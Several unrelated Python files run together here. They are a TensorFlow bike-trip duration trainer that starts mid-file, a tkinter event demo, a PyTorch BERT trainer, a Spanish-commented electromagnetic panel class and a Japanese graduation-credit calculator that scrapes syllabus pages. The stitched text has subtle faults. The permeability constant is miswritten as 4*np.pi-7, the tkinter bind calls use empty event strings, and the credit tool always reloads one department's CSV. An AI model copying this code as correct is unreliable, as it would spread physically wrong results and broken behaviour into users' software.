  return tf.data.experimental.make_csv_dataset(pattern, batch_size, CSV_COLUMNS, DEFAULTS)

def features_and_labels(features):
  label = features.pop('duration') # this is what we will train for
  features.pop('bike_id')
  return features, label

def read_dataset(pattern, batch_size, mode=tf.estimator.ModeKeys.TRAIN, truncate=None):
  dataset = load_dataset(pattern, batch_size)
  dataset = dataset.map(features_and_labels, num_parallel_calls=tf.data.experimental.AUTOTUNE)
  if mode == tf.estimator.ModeKeys.TRAIN:
    dataset = dataset.repeat().shuffle(batch_size*10)
    # dataset = dataset.repeat()
  dataset = dataset.prefetch(buffer_size=tf.data.experimental.AUTOTUNE)
  # dataset = dataset.prefetch(1)
  if truncate is not None:
    dataset = dataset.take(truncate)
  return dataset

# Build a wide-and-deep model.
def wide_and_deep_classifier(inputs, linear_feature_columns, dnn_feature_columns,
    dnn_hidden_units, learning_rate):
    deep = tf.keras.layers.DenseFeatures(dnn_feature_columns, name='deep_inputs')(inputs)
    layers = [int(x) for x in dnn_hidden_units.split(',')]
    for layerno, numnodes in enumerate(layers):
        deep = tf.keras.layers.Dense(numnodes, activation='relu', name='dnn_{}'.format(layerno+1))(deep)
    wide = tf.keras.layers.DenseFeatures(linear_feature_columns, name='wide_inputs')(inputs)
    both = tf.keras.layers.concatenate([deep, wide], name='both')
    output = tf.keras.layers.Dense(1, name='dur')(both)
    model = tf.keras.Model(inputs, output)
    optimizer = tf.keras.optimizers.RMSprop(learning_rate)
    model.compile(loss='mse', optimizer=optimizer,
                 metrics=['mse', 'mae'])
    return model

def create_model(learning_rate, load_checkpoint):

  # duration,end_station_id,bike_id,ts,day_of_week,start_station_id,start_latitude,start_longitude,end_latitude,end_longitude,
  # euclidean,loc_cross,prcp,max,min,temp,dewp

  real = {
      colname : tf.feature_column.numeric_column(colname)
            for colname in
  #            ('ts,start_latitude,start_longitude,end_latitude,end_longitude,euclidean,prcp,max,min,temp,dewp').split(',')
              ('ts,euclidean,prcp,max,min,temp,dewp').split(',')

  }
  sparse = {
        'day_of_week': tf.feature_column.categorical_column_with_vocabulary_list('day_of_week',
                    vocabulary_list='1,2,3,4,5,6,7'.split(',')),
        'end_station_id' : tf.feature_column.categorical_column_with_hash_bucket('end_station_id', hash_bucket_size=800),
        'start_station_id' : tf.feature_column.categorical_column_with_hash_bucket('start_station_id', hash_bucket_size=800),
        'loc_cross' : tf.feature_column.categorical_column_with_hash_bucket('loc_cross', hash_bucket_size=21000),
  #      'bike_id' : tf.feature_column.categorical_column_with_hash_bucket('bike_id', hash_bucket_size=14000)
  }

  inputs = {
      colname : tf.keras.layers.Input(name=colname, shape=(), dtype='float32')
            for colname in real.keys()
  }
  inputs.update({
      colname : tf.keras.layers.Input(name=colname, shape=(), dtype='string')
            for colname in sparse.keys()
  })

  # embed all the sparse columns
  embed = {
         'embed_{}'.format(colname) : tf.feature_column.embedding_column(col, 10)
            for colname, col in sparse.items()
  }
  real.update(embed)

  # one-hot encode the sparse columns
  sparse = {
      colname : tf.feature_column.indicator_column(col)
            for colname, col in sparse.items()
  }

  if DEVELOP_MODE:
      print(sparse.keys())
      print(real.keys())

  model = None
  print('num replicas...')
  print(STRATEGY.num_replicas_in_sync)

  with STRATEGY.scope():
    if load_checkpoint:
      learning_rate = 0.0000001
    logging.info("using learning rate {}".format(learning_rate))
    model = wide_and_deep_classifier(
        inputs,
        linear_feature_columns = sparse.values(),
        dnn_feature_columns = real.values(),
        dnn_hidden_units = DNN_HIDDEN_UNITS,
        learning_rate=learning_rate)
    if load_checkpoint:
      logging.info("loading model weights from {}".format(load_checkpoint))
      model.load_weights(load_checkpoint)

  model.summary()
  return model

def main():

  logging.getLogger().setLevel(logging.INFO)
  parser = argparse.ArgumentParser(description='ML Trainer')
  parser.add_argument(
      '--epochs', type=int,
      default=1)
  parser.add_argument(
      '--steps-per-epoch', type=int,
      default=-1)  # if set to -1, don't override the normal calcs for this
  parser.add_argument(
      '--workdir',
      required=True)
  parser.add_argument(
      '--data-dir',
      default='gs://aju-dev-demos-codelabs/bikes_weather/')
  # use this arg to load the model weights from a pre-existing checkpoint (this is not the
  # same as the 'checkpoint_path'). These weights must be from a model of the same architecture.
  parser.add_argument(
      '--load-checkpoint',
      )
  parser.add_argument(
      '--train-output-path',
      )

  args = parser.parse_args()
  logging.info("Tensorflow version " + tf.__version__)

  TRAIN_DATA_PATTERN = args.data_dir + "train*"
  EVAL_DATA_PATTERN = args.data_dir + "test*"
  OUTPUT_DIR='{}/bwmodel/trained_model'.format(args.workdir)
  logging.info('Writing trained model to {}'.format(OUTPUT_DIR))
  learning_rate = 0.001

  if DEVELOP_MODE:
    dataset = load_dataset(TRAIN_DATA_PATTERN)
    for n, data in enumerate(dataset):
      numpy_data = {k: v.numpy() for k, v in data.items()} # .numpy() works only in eager mode
      print(numpy_data)
      if n>3: break

    print("Checking input pipeline")
    one_item = read_dataset(TRAIN_DATA_PATTERN, batch_size=2, truncate=1)
    print(list(one_item)) # should print one batch of 2 items

  train_batch_size = TRAIN_BATCH_SIZE
  eval_batch_size = 1000
  if args.steps_per_epoch == -1:  # calc based on dataset size
    steps_per_epoch = NUM_EXAMPLES // train_batch_size
  else:
    steps_per_epoch = args.steps_per_epoch
  logging.info('using {} steps per epoch'.format(steps_per_epoch))

  train_dataset = read_dataset(TRAIN_DATA_PATTERN, train_batch_size)
  eval_dataset = read_dataset(EVAL_DATA_PATTERN, eval_batch_size, tf.estimator.ModeKeys.EVAL,
     eval_batch_size * 100 * STRATEGY.num_replicas_in_sync
  )

  model = create_model(learning_rate, args.load_checkpoint)

  checkpoint_path = '{}/checkpoints/bikes_weather.cpt'.format(OUTPUT_DIR)
  logging.info("checkpoint path: %s", checkpoint_path)
  cp_callback = tf.keras.callbacks.ModelCheckpoint(checkpoint_path,
                                                   save_weights_only=True,
                                                   verbose=1)
  tb_callback = tf.keras.callbacks.TensorBoard(log_dir='{}/logs'.format(OUTPUT_DIR),
                                               update_freq=10000)

  logging.info("training model....")
  history = model.fit(train_dataset,
                      validation_data=eval_dataset,
                      validation_steps=eval_batch_size,
                      epochs=args.epochs,
                      steps_per_epoch=steps_per_epoch,
                      callbacks=[cp_callback  # , tb_callback
                      ]
                     )
  logging.info(history.history.keys())

  ts = str(int(time.time()))
  export_dir = '{}/export/bikesw/{}'.format(OUTPUT_DIR, ts)
  logging.info('Exporting to {}'.format(export_dir))

  try:
    logging.info("exporting model....")
    tf.saved_model.save(model, export_dir)
    if args.train_output_path:
      logging.info("train_output_path: %s", args.train_output_path)
      pathlib2.Path(args.train_output_path).parent.mkdir(parents=True)
      export_path = '{}/export/bikesw'.format(OUTPUT_DIR)
      logging.info('export path: {}'.format(export_path))
      pathlib2.Path(args.train_output_path).write_text(export_path)
  except Exception as e:  # hmm. retry once if error
    logging.warning(e)
    logging.info("retrying...")
    time.sleep(10)
    logging.info("again ... exporting model....")
    tf.saved_model.save(model, export_dir)
    if args.train_output_path:
      logging.info("train_output_path: %s", args.train_output_path)
      pathlib2.Path(args.train_output_path).parent.mkdir(parents=True)
      export_path = '{}/export/bikesw'.format(OUTPUT_DIR)
      pathlib2.Path(args.train_output_path).write_text(export_path)

if __name__ == "__main__":
  main()


from tkinter import *

def harry(event):#bind automatically passes a object so we have to use event in function just like js
    print(f"You clicked on the button at {event.x}, {event.y}")

root = Tk()
root.title("Events in Tkinter")
root.geometry("644x334")

widget = Button(root, text='Click me please')
widget.pack()

widget.bind('', harry)
widget.bind('', quit)

root.mainloop()
# we can get more events in google search


import torch
import torch.nn as nn
from pretrain import BertPreTrain
from finetune import BertClassification

class Trainer(object):
    def __init__(self, bert_model):
        self.bert_model = bert_model

    def pre_train(self, iterator, do_train, num_train_epochs=3, learning_rate=1e-5):
        print("***** Pre-training *****")
        model = BertPreTrain(self.bert_model)
        optimizer = torch.optim.Adam(model.parameters(), lr=learning_rate)
        criterion = nn.CrossEntropyLoss()

        if do_train:
            print("***** Running training *****")
            model.train()

            for e in range(num_train_epochs):
                epoch_loss = 0
                for batch in iterator:
                    input_ids = batch['input_ids']
                    input_mask = batch['input_mask']
                    segment_ids = batch['segment_ids']
                    mlm_positions = batch['mlm_positions']
                    mlm_ids = batch['mlm_ids']
                    mlm_weights = batch['mlm_weights']
                    nsp_label = batch['nsp_label']

                    mlm_output, nsp_output = model(input_ids, input_mask, segment_ids, mlm_positions)

                    mlm_loss = get_mlm_loss(mlm_output, mlm_ids, mlm_weights)
                    nsp_loss = get_nsp_loss(nsp_output, nsp_label)

                    total_loss = mlm_loss + nsp_loss
                    epoch_loss += total_loss

                    optimizer.zero_grad()
                    total_loss.backward()
                    optimizer.step()

                print('Epoch {}: loss = {}'.format(e + 1, epoch_loss))

    def fine_tune(self, iterator, do_train, num_train_epochs=3, learning_rate=1e-5):
        print("***** Fine tuning *****")
        model = BertClassification(self.bert_model)
        optimizer = torch.optim.Adam(model.parameters(), lr=learning_rate)
        criterion = nn.CrossEntropyLoss()

        if do_train:
            print("***** Running training *****")
            model.train()

            for e in range(num_train_epochs):
                epoch_loss = 0
                for batch in iterator:
                    input_ids = batch['input_ids']
                    input_mask = batch['input_mask']
                    segment_ids = batch['segment_ids']
                    label = batch['label']

                    prediction_scores = model(input_ids, input_mask, segment_ids)

                    loss = criterion(prediction_scores, label)
                    epoch_loss += loss
                    optimizer.zero_grad()
                    loss.backward()
                    optimizer.step()

                print('Epoch {}: loss = {}'.format(e + 1, epoch_loss))

def get_mlm_loss(mlm_output, mlm_ids, mlm_weights):
    mlm_ids, mlm_weights = mlm_ids.view(-1), mlm_weights.view(-1, 1)
    criterion = nn.CrossEntropyLoss()
    loss = criterion(mlm_output.masked_fill(mlm_weights == 0, 0), mlm_ids)

    return loss

def get_nsp_loss(nsp_output, nsp_label):
    nsp_label = nsp_label.view(-1)
    criterion = nn.CrossEntropyLoss()
    loss = criterion(nsp_output, nsp_label)

    return loss


import numpy as np

class Panel:
    """
    Define un panel según su permitividad relativa, su conductancia y grosor
    """

    def __init__(self,epsilonr,sigma,d,w):
        self.epsilonr = epsilonr
        self.sigma = sigma
        self.d = d
        self.w = w

    def TransmissionMatrix(self):
        epsilon0 = 8.8542e-12
        mu = 4*np.pi-7
        epsilonc = self.epsilonr*epsilon0 - 1j*self.sigma/self.w
        gamma = 1j*self.w*np.sqrt(mu*epsilonc)
        eta = np.sqrt(mu/epsilonc)

        #matriz de transmisión
        phi = np.array([[np.cosh(gamma*self.d),eta*np.sinh(gamma*self.d)],[(1/eta)*np.sinh(gamma*self.d),np.cosh(gamma*self.d)]])

        return phi

    def Reflexion(self):
        phi = self.TransmissionMatrix()
        eta0 = 376.73031346177
        R = (phi[0][0]*eta0 + phi[0][1] - phi[1][0]*eta0**2 - phi[1][1]*eta0)/(phi[0][0]*eta0 + phi[0][1] + phi[1][0]*eta0**2 + phi[1][1]*eta0)
        return R

    def Transmision(self):
        phi = self.TransmissionMatrix()
        eta0 = 376.73031346177
        T = 2*eta0/(phi[0][0]*eta0 + phi[0][1] + phi[1][0]*eta0**2 + phi[1][1]*eta0)
        return T


import tkinter as tk
from tkinter import messagebox
from tkinter import filedialog
import tkinter.ttk
import pandas as pd

rt_width=1000
rt_hgt=1000

ts=4

global root
previous_count = '0'

root = tk.Tk()
root.title('卒業単位計算ツール') #タイトル
root.geometry(str(rt_width)+'x'+str(rt_hgt)) #サイズ

def syllabus_select(i):
    def x():
        global kamoku
        global unit
        global kubun
        global syubetsu
        global huriwake
        huriwake = '0'

        if(i==0):
            url = 'https://syllabus.kosen-k.go.jp/Pages/PublicSubjects?school_id=39&department_id=12&year=2019&lang=ja'
        elif(i==1):
            url = 'https://syllabus.kosen-k.go.jp/Pages/PublicSubjects?school_id=39&department_id=13&year=2019&lang=ja'
        elif(i==2):
            url = 'https://syllabus.kosen-k.go.jp/Pages/PublicSubjects?school_id=39&department_id=14&year=2019&lang=ja'
        elif(i==3):
            url = 'https://syllabus.kosen-k.go.jp/Pages/PublicSubjects?school_id=39&department_id=15&year=2019&lang=ja'
        else:
            url = 'https://syllabus.kosen-k.go.jp/Pages/PublicSubjects?school_id=39&department_id=23&year=2019&lang=ja'

        if(i==4):
            huriwake = '1'
        df = pd.read_html(url,header = 0)
        df = df[2].drop(df[2].index[[0,1]])
        df['授業科目']=df['授業科目'].apply(lambda x : x.split(' ')[0])
        df = df.fillna(0)
        df.to_csv("syllabus_honka_denki.csv",encoding="cp932")
        if(i==0):
            df.to_csv("syllabus_honka_kikai.csv",encoding="cp932")
        elif(i==1):
            df.to_csv("syllabus_honka_denki.csv",encoding="cp932")
        elif(i==2):
            df.to_csv("syllabus_honka_kiden.csv",encoding="cp932")
        elif(i==3):
            df.to_csv("syllabus_honka_kenkan.csv",encoding="cp932")
        else:
            df.to_csv("syllabus_senkou_denki.csv",encoding="cp932")

        df = pd.read_csv("syllabus_honka_denki.csv", encoding = "cp932")
        kamoku = df["授業科目"]
        unit = df["単位数"]
        kubun = df["科目区分"]
        syubetsu = df["単位種別"]
        makeList()
    return x

#表を作成
def makeList():
    global kamoku
    global unit
    global kubun
    global syubetsu
    num_list = len(kamoku) #リストの数
    frame0 = tk.Frame(root ,bg='white',width = '1000', height = '600')#背景を白に
    frame0.grid(row=0,column=0)
    frame1 = tk.Frame(root ,width = '500', height = '600')#背景を白に
    frame1.grid(row=0,column=1)

    #Canvas widgetを生成
    canvas = tk.Canvas(frame0,width=500,height=600,bg='white') #背景を白に
    canvas.grid(row=1,column=0,columnspan=5)     #7行x5列分

    #スクロールバー
    vbar=tk.ttk.Scrollbar(frame0,orient=tkinter.VERTICAL) #縦方向
    vbar.grid(row=1,rowspan=7,column=5,sticky='ns')

    #スクロールバーの制御をCanvasに通知する処理
    vbar.config(command=canvas.yview)

    #Canvasの可動域をスクロールバーに通知する処理
    canvas.config(yscrollcommand=vbar.set)

    #スクロール可動域＜＝これがないと、どこまでもスクロールされてしまう。
    #sc_hgt=int(len(kamoku)*30)
    canvas.config(scrollregion=(0,0,500,len(kamoku)*26))

    #Frameを作成
    frame = tk.LabelFrame(canvas, text = "シラバス", bg='white',width = '500', height = '600') #背景を白に

    #frameをcanvasに配置
    canvas.create_window((0,0),window=frame,anchor=tk.NW,width=canvas.cget('width'))   #anchor<=NWで左上に寄せる

    #各ラベルの幅(文字がある場合は文字ユニットとなる)
    c0_width=5  #チェックボックス
    c1_width=30 #科目名
    c2_width=5  #単位数
    c3_width=10 #科目区分
    c4_width=10 #単位種別

    #header row=1に設定する文字列 余白は0に
    e0=tk.Label(frame,width=c0_width,text='select',background='white')
    e0.grid(row=1,column=0,padx=0,pady=0,ipadx=0,ipady=0) #0列目

    e1=tk.Label(frame,width=c1_width,text='授業科目',background='white',anchor='w')
    e1.grid(row=1,column=1,padx=0,pady=0,ipadx=0,ipady=0) #1列目

    e2=tk.Label(frame,width=c2_width,text='単位数',background='white',anchor='w')
    e2.grid(row=1,column=2,padx=0,pady=0,ipadx=0,ipady=0) #2列目

    e3=tk.Label(frame,width=c3_width,text='科目区分',background='white',anchor='w')
    e3.grid(row=1,column=3,padx=0,pady=0,ipadx=0,ipady=0) #3列目

    e4=tk.Label(frame,width=c4_width,text='単位種別',background='white',anchor='w')
    e4.grid(row=1,column=4,padx=0,pady=0,ipadx=0,ipady=0) #3列目

    btn = tk.Button(frame1,text = "計算",command = hantei)
    btn.grid(row = 0, column = 0, padx=0,pady=0,ipadx=0,ipady=0)

    irow = 2
    irow0=2
    erow=num_list+irow0

    global list_chk
    list_chk = []

    while irow < erow:
        #色の設定
        if irow%2==0:
            color='#cdfff7'  #薄い青
        else:
            color='white'
        i = irow - irow0

        #チェックボックスの設置
        bln=tk.BooleanVar()
        bln.set(False)
        c = tk.Checkbutton(frame,variable = bln,width=c0_width,text='',background='white')

        list_chk.append(bln) #チェックボックスの初期値
        #print(list_chk[i].get())

        c.grid(row=irow,column=0,padx=0,pady=0,ipadx=0,ipady=0)  #0列目
        #科目名
        a1=kamoku[i]
        b1=tk.Label(frame,width=c1_width,text=a1,background=color,anchor='w')
        b1.grid(row=irow,column=1,padx=0,pady=0,ipadx=0,ipady=0) #1列目
        #単位数
        a2=unit[i]
        b2=tk.Label(frame,width=c2_width,text=a2,background=color,anchor='w')
        b2.grid(row=irow,column=2,padx=0,pady=0,ipadx=0,ipady=0) #2列目
        #科目区分
        a3=kubun[i]
        b3=tk.Label(frame,width=c3_width,text=a3,background=color,anchor='w')
        b3.grid(row=irow,column=3,padx=0,pady=0,ipadx=0,ipady=0) #3列目
        #単位種別
        a4=syubetsu[i]
        b4=tk.Label(frame,width=c4_width,text=a4,background=color,anchor='w')
        b4.grid(row=irow,column=4,padx=0,pady=0,ipadx=0,ipady=0) #3列目

        irow=irow+1

    #リストの下に設置するチェックボックスとボタン
    if(previous_count == '0'):
        allSelectButton = tk.Button(root,text='全て選択',command=allSelect_click)
        allSelectButton.grid(row=erow,column=0)  #1列目
        allClearButton = tk.Button(root, text='選択解除',command=allClear_click)
        allClearButton.grid(row=erow, column=1)   #1列目
        previousButton = tk.Button(root,text='学科選択に戻る',command=previous)
        previousButton.grid(row=erow, column=2)   #2列目

def hantei():
    if(huriwake=='1'):
        req_unit = ['16', '46', '62']
    else:
        req_unit = ['75', '82', '167']
    kamoku_syubetsu = ['一般', '専門', '合計']
    ippan = 0
    senmon = 0

    for i in range(len(kamoku)):
        if(list_chk[i].get()==True and kubun[i]!= "専門"):
            ippan = ippan + unit[i]
        if(list_chk[i].get()==True and kubun[i]== "専門"):
            senmon = senmon + unit[i]

    grad_hantei = [0,0,0]
    if(ippan >= int(req_unit[0])):
        grad_hantei[0] = '単位は足りています'
    else:
        grad_hantei[0] = '卒業できません'
    if(senmon >= int(req_unit[1])):
        grad_hantei[1] = '単位は足りています'
    else:
        grad_hantei[1] = '卒業できません'
    if(senmon + ippan >= int(req_unit[2])):
        grad_hantei[2] = '単位は足りています'
    else:
        grad_hantei[2] = '卒業できません'

    frame2 = tk.LabelFrame(root, text = "判定結果" ,width = '500', height = '600')#背景を白に
    frame2.grid(row=0,column=2)

    c1_width=10  #科目区分
    c2_width=10  #取得単位数
    c3_width=10 #必要単位数
    c4_width=15 #判定

    #header row=1に設定する文字列 余白は0に
    e1=tk.Label(frame2,width=c1_width,text='科目区分',background='white',anchor='w')
    e1.grid(row=1,column=1,padx=0,pady=0,ipadx=0,ipady=0) #1列目

    e2=tk.Label(frame2,width=c2_width,text='取得単位数',background='white',anchor='w')
    e2.grid(row=1,column=2,padx=0,pady=0,ipadx=0,ipady=0) #2列目

    e3=tk.Label(frame2,width=c3_width,text='必要単位数',background='white',anchor='w')
    e3.grid(row=1,column=3,padx=0,pady=0,ipadx=0,ipady=0) #3列目

    e4=tk.Label(frame2,width=c4_width,text='判定',background='white',anchor='w')
    e4.grid(row=1,column=4,padx=0,pady=0,ipadx=0,ipady=0) #3列目

    irow = 2
    irow0=2
    erow=5

    while irow < erow:
        #色の設定
        if irow%2==0:
            color='#cdfff7'  #薄い青
        else:
            color='white'
        i = irow - irow0
        #科目区分
        a1=kamoku_syubetsu[i]
        b1=tk.Label(frame2,width=c1_width,text=a1,background=color,anchor='w')
        b1.grid(row=irow,column=1,padx=0,pady=0,ipadx=0,ipady=0) #1列目
        #取得単位数
        if(i==0):
            a2 = ippan
        elif(i==1):
            a2 = senmon
        else:
            a2 = ippan + senmon

        b2=tk.Label(frame2,width=c2_width,text=a2,background=color,anchor='w')
        b2.grid(row=irow,column=2,padx=0,pady=0,ipadx=0,ipady=0) #2列目
        #必要単位数
        a3=req_unit[i]
        b3=tk.Label(frame2,width=c3_width,text=a3,background=color,anchor='w')
        b3.grid(row=irow,column=3,padx=0,pady=0,ipadx=0,ipady=0) #3列目
        #判定
        a4 = grad_hantei[i]
        b4=tk.Label(frame2,width=c4_width,text=a4,background=color,anchor='w')
        b4.grid(row=irow,column=4,padx=0,pady=0,ipadx=0,ipady=0) #3列目

        irow=irow+1

#全て選択をクリック
def allSelect_click():
	for i in range(len(list_chk)):
		list_chk[i].set(True)

#選択解除をクリック
def allClear_click():
	for i in range(len(list_chk)):
		list_chk[i].set(False)

def previous():
    global previous_count
    previous_count = '1'
    main()

#main
def main():

    select = ['機械工学科', '電気情報工学科', '機械電子工学科', '建設環境工学科', '創造工学専攻 電気情報工学コース']
    for  i in range(len(select)):
        btn = tk.Button(root, text = select[i] ,relief = "groove",command = syllabus_select(i))
        btn.place(x=10, y=10+i*30)

    #ウィンドウを動かす
    root.mainloop()

if __name__ == '__main__':
	main()